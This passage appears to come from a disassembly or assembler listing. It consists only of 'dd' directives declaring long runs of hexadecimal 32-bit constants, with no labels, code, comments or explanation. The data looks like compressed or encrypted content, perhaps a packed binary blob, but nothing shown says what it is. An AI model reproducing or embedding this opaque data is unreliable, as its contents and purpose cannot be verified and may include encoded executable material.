		dd 0E011F8B7h, 0D7D816h, 0A7C27490h, 952C5C67h,	7E571E00h
		dd 0C18914AAh, 0B0381DE0h, 6D3D803Eh, 0DC785BEAh, 0F7183500h
		dd 0BCC565ECh, 0CBB0054h, 277ACA71h, 0EE004711h, 63E29BA5h
		dd 73BBEh, 5B128645h, 7199978Dh, 782C8C00h, 0EAE501A0h
		dd 584F050h, 54CAB585h,	2FEA8028h, 94F68EA4h, 0B323F200h
		dd 0C6A998E8h, 1EA83D0Ch, 0A3622680h, 747F437Ch, 84D1B700h
		dd 36BDF9C3h, 4C1C0FECh, 0C16775DAh, 0BFF5A344h, 6B2B03AFh
		dd 40C751F1h, 98F76DD0h, 0AD030FFCh, 4C0E6637h,	3B190047h
		dd 8D51A5CAh, 3271BF29h, 7C7FFA00h, 55F38C8Eh, 2487002Fh
		dd 4813D26Fh, 16006065h, 30FF9920h, 0E63AD842h,	0CC0800F6h
		dd 70A1B7CBh, 84008025h, 0D5AD907h, 711580Fh, 0F56BC153h
		dd 576403C9h, 5A154877h, 13D82EFCh, 0C800515Dh,	94D4125Eh
		dd 3FC98h, 7C8FF42h, 0B9D681D3h, 28BEC102h, 81D7CFE7h
		dd 5C86FC83h, 1C5DABE4h, 80CDF770h, 0E530434Eh,	311DBC48h
		dd 74407AE9h, 0BBB25C75h, 2C7645h, 882264B5h, 4FB9CF65h
		dd 6AC87600h, 6E7B8E77h, 0AEE8E7h, 9C52176Ch, 6F1862E5h
		dd 822A2D1Dh, 7440CBDFh, 0BBCF2B7Ch, 497B000Fh,	586408D2h
		dd 7301EA25h, 87B02C4Ch, 7020B73Bh, 2E030166h, 6EBD2163h
		dd 0A08960A2h, 6BDC7200h, 75E2F852h, 7624001Dh,	0B0459AA6h
		dd 0CE70B2AAh, 7007EB03h, 0AC40F159h, 2FDD40C0h, 0C1C70010h
		dd 837ED656h, 0B71EBCD2h, 803F72A4h, 226D5474h,	0C39571h
		dd 0F8F57804h, 896187FAh, 0D7DC9204h, 0B5C05A9Eh, 8255CBh
		dd 0C9E8B1FDh, 6C518B1Fh, 1BA6201Fh, 0F0845C80h, 1190AC6h
		dd 869C9299h, 7017D8B7h
		dd 0A40065B5h, 9F436DF9h, 3215736h, 0A9813A84h,	360E6390h
		dd 0A797ED40h, 5B20E5FBh, 1C5A687Dh, 80A84F69h,	0B59F4DA3h
		dd 4A0020F5h, 8CD235BFh, 1852BD51h, 114843FAh, 1E004583h
		dd 18268096h, 95F9F3h, 9B3B0240h, 77A14EB8h, 0A329E406h
		dd 1D5842CBh, 0BB0109BCh, 1CE17C80h, 2A90CAA9h,	0ED003F71h
		dd 2BD10BB8h, 97F33Ah, 0D64D4E4Ch, 0A87E3D56h, 2EEC5B03h
		dd 0A8883FFEh, 0A45C6h,	9F340D78h, 0D77180CAh, 0AB9DBE00h
		dd 0C66A40D3h, 0DDAE004Ch, 434DAF5Bh, 0E2755834h, 7C77539h
		dd 7436C96Bh, 4BF3E7D0h, 7CCE7840h, 337F004Ah, 9DFA272Dh
		dd 0DCE8567Ah, 934CE4E9h, 315D2800h, 9135AA01h,	3C2A48C2h
		dd 52791100h, 1E8AC685h, 0F11FAC0Eh, 7B914025h,	0FE6537h
		dd 1745D64h, 514DFB48h,	0AB499C07h, 29B0AFC7h, 7FC2B7E6h
		dd 753500BAh, 0E981141Fh, 6A7C7F24h, 96629800h,	0C4D0DB64h
		dd 0ABEC048Fh, 885C389Ah, 25001358h, 87FF9861h,	0D70486h
		dd 303AA09Dh, 0C9518AF8h, 0BC9C6602h, 874120DAh, 0CAD109C4h
		dd 80EEC191h, 0BAD948CDh, 60E16Ch, 0F4C67625h, 0E776B3h
		dd 0FF8BACF4h, 0E89A8EF9h, 39EC4505h, 90C323EBh, 0A480CCD5h
		dd 3C5ECE64h, 0D4824C4Ah, 0FEB3792Ah, 8A4D7740h, 8185B0C0h
		dd 64DEE5h, 142D7EFh, 6F50070Ah, 0BE33CF3Dh, 0EBBB8015h
		dd 0E01FBDBEh, 871A00F5h, 348EC492h, 1009430h, 9388866Ah
		dd 3E4CBB4Bh, 0D506B06Eh, 0D84777F6h, 8CE5223Dh, 93192CEh
		dd 49C42EF7h, 0CDB30329h, 1800FAC1h, 0AED5071Ch, 58ABD34Dh
		dd 9600BFF7h, 0DB194B90h, 7F5842FCh, 432B004Ah,	322001A8h
		dd 0C4AF18A9h, 1ADA200Dh, 100066EEh, 0CAE4AEBAh, 7F53F624h
		dd 9F350080h, 0C149C0BBh, 0A8925D6Dh, 733B44Ch,	9556DD18h
		dd 66FBF8F1h, 15F00621h, 18DD19h, 540908D9h, 0EB3B29D2h
		dd 36F50262h, 0E073D4FBh, 0C2644h, 5EDAAE2Bh, 2D82DD79h
		dd 0BC08343Dh, 2305128Ah, 3AD94803h, 9284D836h,	0C57600C8h
		dd 90CBF4CCh, 5B00B867h, 0C666EB88h, 4DF8ED5Eh,	841DCC91h
		dd 5C90808Bh, 70FCBA17h, 96B97101h, 9DA548B6h, 0E08FC3DFh
		dd 2CDDA8CEh, 1CA5F0C6h, 0E9CC410Bh, 0F0830A32h, 0B106C7A4h
		dd 733CDF19h, 15010991h, 800077E8h, 0CA47E444h,	641A4224h
		dd 0D995D80h, 56B2CEh, 304E7768h, 0BCE0BE9Fh, 6BCF2C00h
		dd 0BF656A9Dh, 23A7348h, 3F271E54h, 837DBAECh, 0C0DC2DD8h
		dd 0F018BEAh, 0CDF0C4A1h, 0FBA34C20h, 0A84C6EC6h, 97980400h
		dd 0BC80578Dh, 0FACC49h, 90389B58h, 0E9F6AC69h,	62EED612h
		dd 0DBD14400h, 3C3A76A1h, 28757213h, 3D8FA48h, 27A8626Ch
		dd 50FFD54Ah, 0B734E6Eh, 59A5FF24h, 0B6CD8801h,	34E42AE2h
		dd 0B857996h, 75BE35Ah,	76B8FB01h, 0F3D42006h, 4D56D00Fh
		dd 0D10B9AFh, 70FBC240h, 0FDA1053Bh, 8705F82Eh,	9CCF912Ch
		dd 28B420B4h, 981CCC0Eh, 574B407Ch, 0C8E164h, 12F74875h
		dd 283CB7FAh, 20110F00h, 951FA92Dh, 0FE40007Ch,	0E829F655h
		dd 7B008050h, 91B232FFh, 1DE6538h, 0F33B98CEh, 830AFDDAh
		dd 0C81EF654h, 175EF8DBh, 0FA8C00A4h, 79085FC2h, 5800392Fh
		dd 8E9D52A6h, 6AE545Ch,	24C7AA0Eh, 3F00CC92h, 39B7EC2Bh
		dd 0E31AC16h, 25A89D2h,	13E611E7h, 300E7398h, 21E9D06Bh
		dd 0DB5C7968h, 3800820h, 6DAB4559h, 7BB04217h, 3F00972Ah
		dd 0B3963BCFh, 5F19E9h,	40ECAEA1h, 1E941569h, 0E66CC101h
		dd 0B898541h, 0EBB7F840h, 0FA7E38B9h, 4C19638Eh, 0B4000429h
		dd 0E10124CDh, 1A125B00h, 0F660A0E9h, 0AFD8C17Dh, 34EF6C4Ah
		dd 0A00FED0h, 41372C77h, 165825h, 3F322E19h, 57105F13h
		dd 755C9500h, 5E1F3047h, 71860B91h, 6400DEEEh, 0B3FEAA39h
		dd 95ABE300h, 982D59EAh, 0F02550A4h, 422C073Bh,	534F43h
		dd 5CBF82B8h, 33EB7200h, 5E89573Fh, 0EAD230A3h,	52217710h
		dd 9A1635E4h, 0C00FDDA5h, 1C592094h, 7D6ABC9Fh,	0D458C33Ah
		dd 9DC84433h, 0CB00FF1Fh, 0BEB26710h, 24EA6CC0h, 8088EC1Dh
		dd 6D3A52F0h, 0ED05BCBAh, 2C287957h, 37191980h,	0D5E3132Ah
		dd 0E47100B4h, 0D8AD15E7h, 0AA3A7F0Fh, 42828030h, 3CBB1C3Eh
		dd 85004927h, 0F8608871h, 0A907A7DAh, 0E278AD7Eh, 0A6F6A110h
		dd 9BFAC3h, 1588D127h, 0F3A0B083h, 4BF5BB00h, 30F03997h
		dd 3FA1EE59h, 172BEA4h,	0A28FDE54h, 0FC33F9E4h,	0BF075013h
		dd 8BB46E0Eh, 152560A0h, 2F66184Eh, 4D140921h, 13B46100h
		dd 0D02760FCh, 6D490E83h, 0A1CF5F1Fh, 5A7B2880h, 6F00991Eh
		dd 0B5692D6Bh, 236592h,	86BBA53Fh, 4E010D68h, 2D212900h
		dd 901BFD38h, 0E09B1DA0h, 2CF74062h, 825C6EB7h,	70E5700h
		dd 91ED9EF2h, 0D5E3E99h, 1D8F581h, 0DC77A867h, 9012FF28h
		dd 0F8B0AA14h, 0BEE29Eh, 64B07547h, 359B25AFh, 72CA6800h
		dd 89EFAC4Bh, 0D36B0F2Dh, 0C4000F81h, 0E77719D7h, 9FC2EE00h
		dd 486573F0h, 317F3839h, 0ECE38900h, 554B8110h,	3600D370h
		dd 0B24ABF5Ah, 78F8EF6h, 0A0809174h, 0D6233284h, 9C5DFA60h
		dd 0C1B61100h, 221F94Eh, 24370022h, 0C26B7A3Ch,	5E0170AEh
		dd 44F60D55h, 0A08373EFh, 0DA9CA2B9h, 0C88A480h, 38E0CD00h
		dd 6AB0F812h, 0D5653B16h, 0AC952680h, 0BDE51535h, 96D42301h
		dd 5568C943h, 15E6ED8h,	50CB9236h, 9EFD693Ah, 0A2003708h
		dd 6BCED22Ch, 0C8A00014h, 3DF4C768h, 1C0BA186h,	9EAB3Ch
		dd 0D8E990B0h, 9F9C010Eh, 7E3441DEh, 0FBAD417h,	0CB004077h
		dd 5EF5DA20h, 0E7ECBFh,	87963571h, 72690FBBh, 0A8444A0Eh
		dd 0EEF72099h, 0ABD82Bh, 5D47A018h, 4A7D9E75h, 0DFE87100h
		dd 96D6BF28h, 0C5321704h, 383A0072h, 0C1648857h, 0F9341907h
		dd 0B4A04814h, 0C06F901Dh, 894E6D06h, 0B700E533h, 95DAA410h
		dd 3BD2CA75h, 2200A104h, 41C0C68Bh, 20008C26h, 195846E4h
		dd 272BB1h, 0D4986B5Bh,	4412B272h, 0A47C021Eh, 4DF26A40h
		dd 799FC0h, 891FCECBh, 0FE8E8FADh, 43B2D00h, 0B00DDB01h
		dd 7E630076h, 76A9A24h,	2F000308h, 441DD8Bh, 1B39751h
		dd 0DC725DFAh, 404D28A1h, 0EDEF11F4h, 0C9D8EB1Ch, 0E60454FEh
		dd 3ADC4Ch, 0F6942127h,	3BE5A915h, 7E807089h, 0EFA8BD9Ch
		dd 96007683h, 5F32217Fh, 0B73C7EDh, 35B0842Dh, 81D0F780h
		dd 740F62AFh, 80858909h, 241B4B01h, 5EB07Ah, 36FE5117h
		dd 2978D290h, 0B6BBA12Ch, 8F931B00h, 35F249h, 0F32F59ABh
		dd 0F986AE22h, 0C300FC98h, 7C8EA840h, 75B92562h, 0E95403BDh
		dd 6530419Eh, 73C7580h,	1E21DD00h, 566FF544h, 74130051h
		dd 8ABC2E9Eh, 7B779975h, 83F08E00h, 31F948FFh, 0D5590E16h
		dd 1560634Fh, 69C3192Ch, 8189430h, 0F8110E26h, 0C08B0123h
		dd 0B405DB6h, 0E54EF8EFh, 0A285A300h, 80213ABEh, 78340029h
		dd 234DB6CBh, 5600C8F4h, 2431D5B1h, 1E6801F7h, 40F8950Ah
		dd 0E5282657h, 995C19FCh, 4117006Fh, 3486B3B6h,	7F7E0FDFh
		dd 0AFA15191h, 0D0BFC795h, 0B73B6B0Bh, 80F9BD9Fh, 0B41D024Eh
		dd 581F38E3h, 450071CCh, 0CE75CFE7h, 6D0C4266h,	0D8338DF4h
		dd 2D821C55h, 669CE76h,	7B74E220h, 64012747h, 0FFD3C8AAh
		dd 4A60DFCEh, 3D393A5Dh, 0EEDC9700h, 732BC9E6h,	0A7D03600h
		dd 66444584h, 1BA002Dh,	58156CF1h, 0D5EC37F5h, 427ED700h
		dd 2292865Dh, 0C9CE001Ah, 210B5CADh, 2D00659Ah,	9BF97CBEh
		dd 0C05348A4h, 0AE9EF312h
		dd 0D2006E16h, 18E9C5FEh, 3D6D115Ah, 0FF09A77Eh, 378613F9h
		dd 4F141197h, 60E92918h, 0F1AC5688h, 4260031h, 0F637D47Ah
		dd 2373DADDh, 0E7AF6201h, 41CC4D45h, 35C78440h,	37980E69h
		dd 82A5B28h, 29C940C8h,	8509A0DEh, 80DFFDE5h, 3F440600h
		dd 0C82D48E6h, 15590C01h, 0CC4C452Bh, 1E264FA9h, 580C77CAh
		dd 97FA6Ch, 4574FFA8h, 7B8EE751h, 0B100C67Ch, 0B58B6181h
		dd 2CCCD61Ah, 0A772B4h,	4B503FEFh, 0DB00B363h, 8AF929D9h
		dd 67E7ED8Eh, 108B0986h, 7F33B61Eh, 0C0370F00h,	8C7ABA9Ah
		dd 277B39h, 36D53D6Ch, 74214459h, 800A863Bh, 323BDC83h
		dd 19AEC2Eh, 0BAA40EC7h, 0C0D5D149h, 0BD05530Ah, 0C34C072Ch
		dd 6E09300h, 0FA73DBh, 0D9C98B8Fh, 1B67DEA8h, 3F6E5400h
		dd 8037787h, 972C007Eh,	42759147h, 8E1CE563h, 114F3D19h
		dd 1E4680B8h, 175D45h, 5AD48D86h, 308A37CEh, 0C41C241Dh
		dd 6FB3C780h, 16A25Dh, 2349EDDEh, 9B1F4852h, 0C0ACDD07h
		dd 0F20A7ADh, 0A0D5215Ch, 90CE2FABh, 0BB6500D5h, 0F0F488B5h
		dd 0A409E1E0h, 9A5F39h,	5753C550h, 0FBF20016h, 0FA93E57Dh
		dd 0F360B2CAh, 11A4B410h, 4598E1h, 0BAF4F295h, 90C98EF5h
		dd 0D5ADF000h, 92AFFCEh, 0C1700C7h, 0A4D2A54Dh,	0CA00DCE3h
		dd 3AC1182Eh, 7259703h,	20DF502Bh, 0D409234Eh, 9D8A78F8h
		dd 0F93DA1B0h, 868D03E2h, 0E96537C8h, 20C8FD62h, 0F690A96h
		dd 0F854D7h, 8C9809D5h,	3B004924h, 0FFAE022Ch, 731B88A0h
		dd 0B835149Ah, 7A70E06Bh, 65DB077Bh, 90791970h,	0F1DCA71Eh
		dd 0FC6BEA1Fh, 0FFC456C0h, 0FA9A6Ch, 241F075h, 78124BCCh
		dd 0E8FD0E0Eh, 386320BAh, 6023B845h, 18928049h,	0E5008D76h
		dd 24D0913Dh, 90E13Bh, 0CFAD61D6h, 4FF58C65h, 1BFFAC00h
		dd 81D2E714h, 0CB2D1D27h, 0CF6E407Ch, 0DCBEBFADh, 51FE8C01h
		dd 0B0B7C1F8h, 0FAB03C8h, 8F79D41Ah, 1E640465h,	0F073C0E4h
		dd 4F5BE277h, 920067EAh, 6DBEB3A1h, 0E5919D47h,	248D0DE8h
		dd 0AE31B0h, 8663E4CCh,	20179071h, 0C41046E9h, 43980028h
		dd 7CC8FCF3h, 26F800A9h, 5249EB01h, 8000E40Bh, 87887EF1h
		dd 9A5C59h, 0E1D0AB7Fh,	0C2E2026Fh, 13CEE500h, 652829F5h
		dd 1FBC0AAEh, 1842BDAh,	708C9717h, 0E251CC82h, 6A5BA600h
		dd 0EB2E36FFh, 0DE980Ch, 4A07675Dh, 4419A2E4h, 0E025600h
		dd 0F2F1BD37h, 152A07E5h, 713328FEh, 80177DBEh,	2CBBB8A8h
		dd 8CCF49h, 0A5C9EB4Bh,	0B4429446h, 0F3F5FD00h,	0D33681E1h
		dd 0C5E2076Ah, 0B00C48CFh, 56BDFB93h, 2DE4DF00h, 90F7DCF4h
		dd 11850391h, 0C4AEBC2Bh, 1F513CE8h, 0C2B01500h, 0F4FA1A76h
		dd 66050011h, 9B23DD0Fh, 0E00053E9h, 27EEAF99h,	1038D1Eh
		dd 10A438A7h, 302F86FBh, 5B014416h, 85E1A2F6h, 93301391h
		dd 6AAE0021h, 1E1FF131h, 300561A4h, 62FA9EB1h, 2459B000h
		dd 0E0A563h, 8D3BBD14h,	4CB97A75h, 85394F0Bh, 94B70048h
		dd 5FB6E2h, 82DB1D6Ah, 8BD6186Bh, 78C14D07h, 412F93E9h
		dd 9F9E9830h, 868C30h, 0DDEA2A87h, 0CA117A94h, 89C4E603h
		dd 0F5EDEEBFh, 47518EC0h, 0F9600322h, 78DCD086h, 0B424C0D4h
		dd 0FF1D8705h, 695F95A2h, 0C9A56AC0h, 0EF34FD7h, 0A88DCABFh
		dd 314D7C60h, 0E500B45Fh, 0F7479294h, 0B9998Fh,	0F3ADC145h
		dd 2A63B1D9h, 0B6DAEC03h, 998BF114h, 7CC4B9A8h,	0DC600C0h
		dd 72823ADBh, 0F900C9B5h, 0AF8F1822h, 3A065614h, 0C700519Dh
		dd 0BA8C1265h, 0C40104DFh, 5E4DB6Ch, 0B0808B33h, 4517CEC6h
		dd 5A300AC2h, 850248A1h, 80DA602Fh, 20569001h, 12558B00h
		dd 0D7B853C7h, 0CDE73CAh, 5FBC4277h, 86038EB0h,	0F7622944h
		dd 40679A36h, 5519980h,	24777C09h, 0E1FE0338h, 0DCC0C142h
		dd 0B000A098h, 67D9F9C8h, 1CD05E78h, 40BE1954h,	0FA36B4B7h
		dd 0D100BAD5h, 0B34CC327h, 0B86D3C01h, 136B0050h, 0A4085473h
		dd 713E92Dh, 0DC04D6B5h, 0A54FC4A9h, 0E96840D3h, 0BBEE8FABh
		dd 0FB096600h, 0A3DBA712h, 8DFD0055h, 9033FA4Dh, 455D2E27h
		dd 63851F80h, 69B82D83h, 873B9814h, 8C60C8D0h, 7297CD8h
		dd 4DAE5BE0h, 3A007ED6h, 792B53DBh, 4036F10Bh, 889E81h
		dd 2C2AB0Ah, 9D5F5091h,	13CB348h, 0B6BFA26Bh, 0EAD8A0D7h
		dd 4ABA2EAAh, 57410040h, 0E1300E6Dh, 610068B8h,	5EE7491Ah
		dd 737F310h, 7FD1C2B3h,	824302B0h, 4A149CC0h, 0E1B12D03h
		dd 1D07738Fh, 473DDA38h, 123BF8CFh, 0B6C0911Bh,	900E34Ch
		dd 0CEDBDC6h, 22F8CACh,	0BAF9B583h, 0DCE07D2Ah,	518FE2Ch
		dd 0BF11142Bh, 0A2F70E63h, 0E8621682h, 988F803Eh, 0A0E52261h
		dd 0DF97F059h, 4FC46860h, 0E09E67h, 22701404h, 2324B6A0h
		dd 0BDF78505h, 0BAC155C3h, 6030CF78h, 421A00C2h, 4775445Ah
		dd 87002C62h, 0E2BB26FAh, 7CDB56h, 13C6C386h, 0C1F9C798h
		dd 8077523Bh, 89123670h, 1F6B87E5h, 4051D4AEh, 6E9F8D23h
		dd 5E4D7D1h, 9C74E803h,	0C894CAEBh, 8DF3E5h, 2D6373B1h
		dd 7176FA77h, 0AAB5B02h, 4062EDFBh, 7CFE1F6h, 0C3B334CCh
		dd 0B9AD309Ah, 0A50044E8h, 0D7ABDB11h, 0D19B48h, 0F0D62E5h
		dd 0D910EBE6h, 0E8328400h, 0AA6D21C1h, 48D03B74h, 0B4AF160Eh
		dd 343C4720h, 59397970h, 39FC604Ch, 0F2C27E8Dh,	0DFF100F0h
		dd 71B078CDh, 65011E0Ch, 88C9C4FFh, 6CECF732h, 2F2E074Fh
		dd 20B2427Fh, 0F41BBD9Eh, 0A600F1E8h, 0A4F7A3BFh, 90309B2Eh
		dd 7C957C2Dh, 573D074Ch, 0CE2D7E51h, 0A464B81h,	3927E09Ch
		dd 0B802FA05h, 0D6809488h, 4FFB08Eh, 0AE512553h, 314E8319h
		dd 8860F99Fh, 0BA008105h, 0C71DA0F2h, 3F0FA16Ah, 0CCD03B7Fh
		dd 9C6F007Bh, 618872C2h, 0BA5C30CEh, 91A803A4h,	13C1A0Ch
		dd 94244811h, 2006A732h, 0C54C805Fh, 0FA110F9Ch, 3631E17Dh
		dd 30243EE4h, 600A4A92h, 66ED4AA8h, 0BC2AA400h,	0C112B36Ch
		dd 0A6E750A0h, 88807D3h, 30321E9Dh, 0DDB70AE4h,	0EEF81954h
		dd 22DC4726h, 7845D000h, 7752441Ah, 0F04E3A62h,	0FD2A7409h
		dd 67D67800h, 0E41DAE87h, 0AA582EC8h, 4E3F40h, 0A386E8B2h
		dd 9C462AC3h, 568F8900h, 418B3673h, 0D5980074h,	71777E67h
		dd 107A6E52h, 53EBC8C0h, 66C5F90h, 72052576h, 83010982h
		dd 4BED364Eh, 68EC6798h, 2F1F4E6h, 65D05B97h, 0A4C00218h
		dd 0B203011Fh, 0A64D1F6h, 2DECF89Bh, 57940B2Eh,	26008380h
		dd 92E2BA24h, 3088B101h, 1CEA7C67h, 1E5853E0h, 0F9543D6Ch
		dd 379BDC0Fh, 790A41C0h, 8E00D9B5h, 0E280D8F5h,	109C4EAh
		dd 0A7F969A2h, 70A4174Eh, 4B5C9406h, 0DE4D0038h, 58E11C9Ch
		dd 0D52207CBh, 0B03AED0Bh, 7881AFEh, 9C2E2D98h,	0A2012CB0h
		dd 0E2C210B4h, 0F563C0h, 9908C8B2h, 42323FF9h, 0AA490200h
		dd 982D587Eh, 0B58400CBh, 6C8C078Bh, 9AFA852Eh,	970E08B8h
		dd 7041CCh, 437B8EC6h, 0A1A92ECEh, 95D289DCh, 0F304E400h
		dd 182EC0E9h, 0CC00B1AEh, 751AC8ACh, 0E11D0353h, 86CDC391h
		dd 2F6327B8h, 7D069E01h, 3C3382FEh, 378FCCh, 1038504Ch
		dd 3FE43D14h, 91775B00h, 3C2F2CF8h, 0B83700D5h,	6DC8D326h
		dd 0DD00A574h, 0C5A6058Bh, 1888163h, 0CEC26872h, 0C7B87FE3h
		dd 0DCB479F9h, 9A00156Fh, 44DC8328h, 0C3BB3C78h, 0B4748D20h
		dd 2FBA08A8h, 5AA1D101h, 559CB948h, 2270F6D0h, 4918BD4Dh
		dd 0BF393FFEh, 124C7EB7h, 7558F85h, 0DFBEF0D0h,	8A2E1818h
		dd 2C5E5800h, 76681837h
		dd 0A1B400C8h, 47552061h, 15746C60h, 7B447950h,	6C84622h
		dd 0BC8AA7C9h, 11B9053h, 0FB18636Fh, 0CC38021Fh, 71191262h
		dd 0B2390C81h, 148BCB5h, 6934AD4Fh, 0ACD0B756h,	381E0D59h
		dd 4421B4FFh, 0E31C007Ah, 0C29A1287h, 0C6018E7Dh, 8167B7B2h
		dd 0B3F05265h, 0CED300E4h, 0B03FD821h, 283BB27Dh, 8089BC7Fh
		dd 6E5D28Dh, 546C3Dh, 1DC6960h,	77643083h, 5E393E01h, 274184B1h
		dd 93B6BC8h, 0ED0E9CDBh, 5F3D8D80h, 45F402BEh, 0D5BB500h
		dd 4EB2251Dh, 180403C6h, 0B8967562h, 7EA726C0h,	0E62F6A03h
		dd 80589BD1h, 0F94993h,	0B10A0CD6h, 8D4DC7B4h, 67E65D03h
		dd 0A08E219Ch, 95D071h,	69C39E7Ch, 430FC6Dh, 0BC11CC00h
		dd 0B5CB0876h, 0D884A96Eh, 39B71F8h, 0B2156462h, 8187C39h
		dd 0F7200DD1h, 34E27Eh,	9AC46123h, 0B1728504h, 8C3A9300h
		dd 1F911E5Eh, 836300E4h, 51947520h, 0F0F0E66Fh,	0CCF1A651h
		dd 0F5373FBEh, 6880500Eh, 3127A5Ah, 154F0785h, 818FF8Dh
		dd 7F20B16Fh, 27A3FA2h,	24CDB380h, 0D2ABFEBFh, 8124091h
		dd 23D33807h, 1A11DCh, 5867789Dh, 2C1D93Fh, 1835EF3Ah
		dd 0F20B061h, 37780042h, 0EC71FFABh, 16011459h,	8A2DBB5Eh
		dd 8C511882h, 640CA99Fh, 62107E79h, 6C414C4h, 0ACA300F7h
		dd 24D2187Fh, 7ACC07h, 0B26953F4h, 8F004DF1h, 14513FDBh
		dd 0B70875h, 1B52790Dh,	89C81FBCh, 0A2506500h, 0FF5535FDh
		dd 0BA970069h, 639EDBAFh, 0B1E01232h, 0A4DF1D00h, 0BBB23371h
		dd 606F00EDh, 0E6CB1B0Ch, 860179BDh, 0B38B605h,	45BA88Fh
		dd 48803086h, 88F0487h,	0F82C840Ch, 0E3780512h,	2D040065h
		dd 3A9085C0h, 28840B3Ah, 8E611C32h, 0D0B4AC08h,	0F98925E0h
		dd 3182056h, 851D6D94h,	4FAF5A7Dh, 0DF98A9CCh, 0EB50D9D8h
		dd 0BE31CA79h, 699E9B4Ch, 0C6278A6h, 82A88519h,	9083BA1Ch
		dd 0F91E0490h, 8A25059h, 0B2608134h, 408084Dh, 139E050Ch
		dd 0D10853Eh, 4C9AE44h,	32286368h, 30A91780h, 0C9108CAh
		dd 98F814A2h, 94B04CA1h, 0DE402818h, 10605029h,	1461ED2h
		dd 762A4C55h, 0F6D8C2CCh, 902F70A3h, 419CFFA0h,	0FEAB4407h
		dd 0FC4A45BCh, 0F5048556h, 59B3CD83h, 0AAE7E012h, 2119C015h
		dd 0C03992BBh, 0A476D107h, 0F5E33BE4h, 83E393h,	55532E41h
		dd 34946612h, 77199560h, 0CD9D800Ah, 0DC585638h, 314089A8h
		dd 5B373291h, 23E0B349h, 390E847Ah, 42E72012h, 48E298A9h
		dd 0C100590h, 0D091D1B9h, 0D3000B10h, 0D6E587DAh, 619AB135h
		dd 36696984h, 29499D42h, 0F6992641h, 17DC23B9h,	36D23AD8h
		dd 6C0FDD3Ah, 280E056h,	0B60405EDh, 0DFF79F15h,	74170688h
		dd 0E0888E4h, 73CA84C9h, 11A88942h, 82488CACh, 9808D06Ch
		dd 0FB7850h, 0E6227B54h, 8150E53h, 9FB88300h, 0EF8ACEA1h
		dd 17510FF0h, 6CE07738h, 0A7C7BE2Dh, 0D9B12230h, 1495DC80h
		dd 8CFB625Fh, 7B60F20Ch, 0C33DB3E9h, 29A8831Eh,	1C1BD9BEh
		dd 0A68889h, 0D9F1937h,	310002ADh, 148A5091h, 0C77AD9BCh
		dd 8212C229h, 608571D4h, 0C3881C0Fh, 0FF045731h, 8EBB00A7h
		dd 96744E32h, 0D4BFE614h, 0D6E16678h, 32850408h, 808C37BBh
		dd 3F2AB2D0h, 0CA72A800h, 1624AC3Eh, 0A048FE9Dh, 63A0210h
		dd 0BC0A9FA8h, 6607A1FCh, 110DF825h, 0F38A808Eh, 11FF24Ah
		dd 0A9DAC03Eh, 30B03B83h, 98E2F72Bh, 0F946D200h, 0E050531Fh
		dd 402F0664h, 10B1D40Fh, 8045FA3Ch, 0CAB0D371h,	714DD24Bh
		dd 518A30FFh, 6DAA1F08h, 4A802701h, 5352D10Dh, 30561880h
		dd 363A4590h, 0C306747Dh, 4D1C6D1Dh, 530F381Ah,	5F770680h
		dd 0B7F954D5h, 0B9327A00h, 0D4995631h, 759303F8h, 4EF15A76h
		dd 80B057A9h, 0D9CACC58h, 0BB8D48h, 935DC24Ah, 1A4B73Bh
		dd 20776FCh, 0AA4E415Fh, 317E7580h, 93C8C04Fh, 98F527CDh
		dd 2638D900h, 7F745D90h, 50B70C7Eh, 0EAD9B30Ah,	393043F0h
		dd 8E36C851h, 0E86C6FD1h, 0F57D7F00h, 7530504Ch, 0AA9F31C0h
		dd 98F90627h, 28FEC1C9h, 5235BD06h, 29087F59h, 428C0E4Fh
		dd 4B003919h, 8368034Dh, 0C41FE103h, 27692Ch, 287A7F30h
		dd 134EC0FEh, 0E0D321C7h, 43AA51F0h, 0B129CA63h, 0D0490788h
		dd 104C8A45h, 9D21D3Ch,	20006028h, 646B6339h, 0DC123Ah
		dd 0F983A8F6h, 55EEEB2Ah, 92C4A900h, 4FBA95F8h,	0BBF600D4h
		dd 397DDF91h, 0B003AF0Ah, 0E8D65060h, 19407C8Ch, 28D73AB9h
		dd 18A7085Bh, 118837B0h, 86088592h, 1E811DCh, 0D1EB1612h
		dd 0D343C987h, 509023h,	8A9308D5h, 8900BBE2h, 0DE48565Bh
		dd 0C19FA45Fh, 9286FA80h, 2FB0808Ah, 0DD3FE20Ah, 7D881D11h
		dd 7F57006Ch, 56934FE5h, 85B718C6h, 0AA5F0778h,	0EC6A6EEDh
		dd 78057B71h, 87ACE3F8h, 80F36800h, 6056DDB0h, 0BBE3B1D0h
		dd 0F0775EF9h, 6728DF67h, 0CB561A43h, 84F0016Dh, 285D34Bh
		dd 95E07079h, 0EB68B903h, 71346F6h, 964A3958h, 208985EDh
		dd 3A95FE8Ch, 0E7DD190Ch, 0E24B8128h, 0C52C08DFh, 6281D735h
		dd 0EBD463E9h, 0C013FAE0h, 0AF4E6D10h, 500D457Ch, 4134B9E2h
		dd 0F8A380C8h, 5C5F0F9Eh, 1401DDA9h, 0C84B6C4Eh, 0A14C59Ah
		dd 2A8CABB2h, 730098F7h, 0A65244B3h, 0C6D7FC6h,	1006E72Fh
		dd 4A512B9h, 2C1D00D5h,	0A5376F6Ah, 0EA18D560h,	5993CEh
		dd 792FF087h, 4468DD3Ah, 0ABBD8E00h, 521EBA37h,	32E8016Dh
		dd 0F0865FBCh, 0E4144063h, 0B681BE51h, 84324008h, 10B75058h
		dd 29C45307h, 0D0461922h, 0EB42796Ch, 29C64F19h, 561111Eh
		dd 0FB92E4h, 0F1E080C9h, 10DA9BF3h, 43DF600h, 680AE881h
		dd 981D0077h, 8ADCCCD5h, 0BF00E19Eh, 0A99CB830h, 186857A4h
		dd 8875020Eh, 0D339921Ah, 2BF9004Eh, 0D4C8FE67h, 1B4B074Dh
		dd 30619CB4h, 0A064E69h, 4A30300h, 2415EE0h, 936B0052h
		dd 0A2483CD5h, 9900C622h, 0B7EFFD11h, 274B2Dh, 2384BF05h
		dd 0EA2041F4h, 0DD653E0Fh, 80CB4010h, 8B1EF3h, 0D81CD997h
		dd 2F61C886h, 0E8734F00h, 770A5569h, 0AE420FD0h, 0BEC724FDh
		dd 5B1551A3h, 0C3E4502Bh, 330106CEh, 6044C7A2h,	0C5D092D3h
		dd 610D0031h, 5D0B6510h, 48C076E2h, 30A8DBD6h, 0B3CB00A5h
		dd 0D181AF68h, 0CC134699h, 3000B0F3h, 7A215CC6h, 0E7850087h
		dd 8B24335h, 0EF001FC1h, 7964BB20h, 3A77E0h, 13F139F3h
		dd 76B48032h, 4BF5BD00h, 3BA4B1C8h, 74CE30FFh, 4FA23EF8h
